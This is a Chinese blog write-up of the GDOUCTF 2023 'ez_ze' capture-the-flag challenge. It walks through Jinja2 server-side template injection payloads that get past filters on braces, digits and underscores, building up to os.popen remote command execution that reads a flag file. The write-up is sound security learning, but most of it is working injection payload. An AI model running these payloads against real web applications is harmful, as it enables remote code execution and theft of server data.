当前位置: 首页 > news >正文

[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过(ctfshow web入门370)-CSDN博客

ssti板块注入

正好不会 {%%}的内容 学习一下

经过测试 发现过滤了 {{}}

那么我们就开始吧

我们可以通过这个语句来查询是否存在ssti

{%if 条件%}result{%endif%}解释一下 如果条件里为真 就输出 result 否则不输出修改一下
{%if not a%}yes{%endif%}第二种{%print 123%}通过输出123来判断

 

存在咯

这里跟着师傅的wp走 他那边过滤了数字 我们也来看看

获取数字

{%set one=dict(c=a)|join|count%}{%set two=dict(cc=a)|join|count%}{%set three=dict(ccc=a)|join|count%}

这里就可以获取数字

但是这道题不需要

然后我们首先确定一下我们需要的payload

(lipsum|attr("__globals__").get("os").popen("cat /flag").read()

 

这个时候我们需要获取_通过lipsum|string|list

这个时候可以通过 pop方法

 获取_

先需要获取pop

pop方法可以根据索引值来删除列中的某个元素并将该元素返回值返回。
{%set pop=dict(pop=a)|join%}

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)%}{%print xiahuaxian%}然后我们数 可以发现 _ 在24 所以我们索引即可{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}{%print xiahuaxian%}

 

成功获取

然后获取golbals

name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print globals%}

获取os

首先需要获取get

{%set get=dict(get=a)|join%}{%print get%}

然后

然后我们可以获取os

{%set shell=dict(o=a,s=b)|join%}{%print shell%}

获取popen

{%set popen=dict(pop=a,en=b)|join%}{%print popen%}

过滤了 改名字就可以了

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%print lipsum|attr(globals)|attr(get)(shell)|attr(pp)%}

成功获取咯

获取chr

首先要获取__builtins__


{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}

获取chr


{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%print char%}

成功

然后就是通过char拼接命令

?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set%20get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%print command%}

然后就是获取read

获取read

name={%set read=dict(read=a)|join%}{%print read%}

最后就是拼接执行命令

name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(pp)(command)|attr(read)()%}

确实学到了 但是这个太麻烦了 这个是很极端的我们这道题没有过滤这么多

正常来

{% set pop=dict(pop=1)|join %}   {% set kong=(lipsum|string|list)|attr(pop)(9) %}{% set xhx=(lipsum|string|list)|attr(pop)(18) %}{% set re=(config|string|list)|attr(pop)(239) %}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}{% set o=dict(o=a,s=b)|join %}{% set po=dict(pop=a,en=b)|join %}{% set cmd=(dict(cat=a)|join,kong,re,dict(flag=a)|join)|join %}{% set read=dict(read=a)|join %}{% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %}这里原型是lipsum.__globals__.getitem[os].popen(cat flag).read()类似于这种

 真是一个恐怖的ssti

相关文章:

  • 【漏洞复现】Apache_HTTPD_多后缀解析漏洞
  • 奇元大模型通过备案 360自研两大模型均获批
  • Python之Excel数据相关
  • 【自动化测试教程】Java+Selenium自动化测试环境搭建
  • Vue CRUD 弹出窗口 表单验证 增删改查 接口文档
  • 【随手记】聚簇索引、二级索引和联合索引
  • Visual Studio Code 常用快捷键大全
  • 100量子比特启动实用化算力标准!玻色量子重磅发布相干光量子计算机
  • 【漏洞复现】74cms任意文件读取
  • HCIE-kubernetes(k8s)-Authentication身份验证
  • SpringCloud 微服务全栈体系(十)
  • leetcode_208 实现Trie(前缀树)
  • zookeeper节点类型
  • 听GPT 讲Rust源代码--library/std(13)
  • 集线器、交换机、网桥、路由器、网关
  • 【5+】跨webview多页面 触发事件(二)
  • egg(89)--egg之redis的发布和订阅
  • ES6系统学习----从Apollo Client看解构赋值
  • java B2B2C 源码多租户电子商城系统-Kafka基本使用介绍
  • Java 实战开发之spring、logback配置及chrome开发神器(六)
  • Java 最常见的 200+ 面试题:面试必备
  • javascript数组去重/查找/插入/删除
  • js中的正则表达式入门
  • JS专题之继承
  • MySQL用户中的%到底包不包括localhost?
  • react-native 安卓真机环境搭建
  • React系列之 Redux 架构模式
  • session共享问题解决方案
  • Swoft 源码剖析 - 代码自动更新机制
  • Tornado学习笔记(1)
  • Vue小说阅读器(仿追书神器)
  • 从零开始的无人驾驶 1
  • 读懂package.json -- 依赖管理
  • 关键词挖掘技术哪家强(一)基于node.js技术开发一个关键字查询工具
  • 每天10道Java面试题,跟我走,offer有!
  • 如何邀请好友注册您的网站(模拟百度网盘)
  • 使用agvtool更改app version/build
  • 试着探索高并发下的系统架构面貌
  • 腾讯视频格式如何转换成mp4 将下载的qlv文件转换成mp4的方法
  • 追踪解析 FutureTask 源码
  • JavaScript 新语法详解:Class 的私有属性与私有方法 ...
  • Java性能优化之JVM GC(垃圾回收机制)
  • LevelDB 入门 —— 全面了解 LevelDB 的功能特性
  • MyCAT水平分库
  • Python 之网络式编程
  • Salesforce和SAP Netweaver里数据库表的元数据设计
  • ## 临床数据 两两比较 加显著性boxplot加显著性
  • #### go map 底层结构 ####
  • #我与Java虚拟机的故事#连载14:挑战高薪面试必看
  • (16)Reactor的测试——响应式Spring的道法术器
  • (2)(2.10) LTM telemetry
  • (9)STL算法之逆转旋转
  • (ctrl.obj) : error LNK2038: 检测到“RuntimeLibrary”的不匹配项: 值“MDd_DynamicDebug”不匹配值“
  • (C语言)输入自定义个数的整数,打印出最大值和最小值
  • (Forward) Music Player: From UI Proposal to Code